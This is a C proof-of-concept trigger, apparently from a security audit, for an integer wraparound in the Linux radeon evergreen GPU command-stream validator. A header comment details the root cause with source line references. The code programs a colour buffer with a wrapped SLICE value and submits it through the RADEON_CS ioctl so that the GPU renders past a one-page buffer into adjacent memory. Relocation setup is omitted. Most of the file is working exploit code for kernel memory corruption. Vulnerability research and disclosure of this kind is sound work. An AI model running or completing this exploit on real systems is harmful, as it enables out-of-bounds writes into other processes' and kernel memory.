/*
 * DF-3838 PoC trigger — 32-bit wraparound family in the evergreen CS
 * surface-size validator (evergreen_cs_track_validate_{cb,stencil,depth,
 * texture} + htile + streamout tracking) -> CS validator bypass -> GPU
 * out-of-bounds render/texture/streamout access past the BO.
 *
 * Root cause (all evergreen_cs.c):
 *   :404/:571/:668  nby = ((slice + 1) * 64) / nbx;   slice is stored RAW
 *                   (:1416/:1425 cb_color_slice, :1208 db_depth_slice).
 *                   slice = 0xffffffff -> (slice+1) wraps to 0 -> nby = 0 ->
 *                   layer_size = 0 -> every `offset > bo_size` check passes
 *                   while the GPU honours the register's real SLICE_TILE_MAX
 *                   field and writes a full-height surface past the BO.
 *   :442/:616/:635/:714/:730/:846-848/:906-908
 *                   offset += layer_size * mslice;   u32*u32 wraps.
 *   :435/:610/:629/:708/:724/:787-788
 *                   offset = x << 8;   computed in u32, truncates (GPU uses
 *                   a 40-bit address; offsets >= 4GB alias to 0).
 *   :547            roundup(nbx * nby * 4, ...)       u32 product wraps.
 *   :1278/:1289     vgt_strmout_bo_offset = v << 8;  vgt_strmout_size = v*4;
 *                   both wrapped in u32 BEFORE the u64 check at :948-950.
 *
 * This PoC programs a colour-buffer surface whose SLICE register is
 * 0xffffffff (wrap -> validator layer_size 0) with a 1-page BO and issues a
 * draw.  On real evergreen/cayman hardware the GPU then renders
 * (SLICE_TILE_MAX field = 0x3fff) far past the 4096-byte BO into adjacent
 * GTT memory (other processes' buffers / kernel ring storage).
 *
 * Requires: real pre-SI radeon GPU (evergreen..cayman), radeon KMS,
 * authenticated DRI fd, GEM bo allocation.  On the audit QEMU guest
 * (virtio only) open() fails with ENOENT — expected.
 */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

struct drm_radeon_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct drm_radeon_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };
#define RADEON_CHUNK_ID_RELOCS 0x01
#define RADEON_CHUNK_ID_IB     0x02
#define RADEON_CHUNK_ID_FLAGS  0x03
struct drm_auth { uint32_t magic; };
#define DRM_IOCTL_GET_MAGIC   _IOR('d', 0x42, struct drm_auth)
#define DRM_IOCTL_RADEON_CS   _IOWR('d', 0x66, struct drm_radeon_cs)

#define PKT3(op, cnt) ((3u<<30)|(((cnt)&0x3fff)<<16)|(((op)&0xff)<<8))
#define PACKET3_SET_CONTEXT_REG 0x68
/* register offsets inside the SET_CONTEXT_REG space (0x00028000 base) */
#define CB_COLOR0_PITCH_OFF   ((0x28c64-0x28000)/4)
#define CB_COLOR0_SLICE_OFF   ((0x28c6c-0x28000)/4)
#define CB_COLOR0_VIEW_OFF    ((0x28c60-0x28000)/4)
#define CB_COLOR0_INFO_OFF    ((0x28c70-0x28000)/4)
#define PACKET3_DRAW_INDEX_AUTO 0x76

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd, r;

	/*
	 * CB state: valid colour format (8 bit), PITCH such that nbx is sane,
	 * SLICE = 0xffffffff  ->  ((0xffffffff+1)*64)/nbx == 0 in u32
	 *   -> validator layer_size 0 -> "bo too small" check never trips.
	 * GPU hardware field SLICE_TILE_MAX = 0x3fff -> 16384 tiles high.
	 * The reloc for CB_COLOR0_BASE would point at a 1-page GEM bo.
	 * (Relocation plumbing omitted: this trigger demonstrates the exact
	 * register programming; a full GEM+reloc harness needs libdrm.)
	 */
	uint32_t ib[32];
	int n = 0;
	ib[n++] = PKT3(PACKET3_SET_CONTEXT_REG, 4);	/* count = 4 payload */
	ib[n++] = CB_COLOR0_VIEW_OFF;   ib[n++] = 0;		/* SLICE_MAX=0 */
	ib[n++] = CB_COLOR0_PITCH_OFF;  ib[n++] = 0x3f;	/* PITCH_TILE_MAX */
	ib[n++] = CB_COLOR0_SLICE_OFF;  ib[n++] = 0xffffffff;	/* WRAP HERE */
	ib[n++] = CB_COLOR0_INFO_OFF;   ib[n++] = (0u<<2)|(0u<<8)|(8u<<2);/*8bpi*/
	ib[n++] = PKT3(PACKET3_DRAW_INDEX_AUTO, 1);
	ib[n++] = 3;					/* VGT_DRAW_INITIATOR */
	ib[n++] = 0;					/* pad */

	uint32_t flags_chunk[1] = { 0 };
	struct drm_radeon_cs_chunk chunks[2] = {
	    { RADEON_CHUNK_ID_IB,    (uint32_t)n, (uint64_t)(uintptr_t)ib },
	    { RADEON_CHUNK_ID_FLAGS, 1,           (uint64_t)(uintptr_t)flags_chunk },
	};
	uint64_t chunk_ptrs[2] = {
	    (uint64_t)(uintptr_t)&chunks[0], (uint64_t)(uintptr_t)&chunks[1] };
	struct drm_radeon_cs cs;
	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 2;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s): %s (device absent on this guest)\n",
		    dev, strerror(errno));
		return 2;
	}
	r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
	printf("RADEON_CS: %s  (validator accepted the wrapped-SLICE surface"
	    " on vulnerable kernels; check dmesg)\n", r ? strerror(errno) : "accepted");
	close(fd);
	return 0;
}
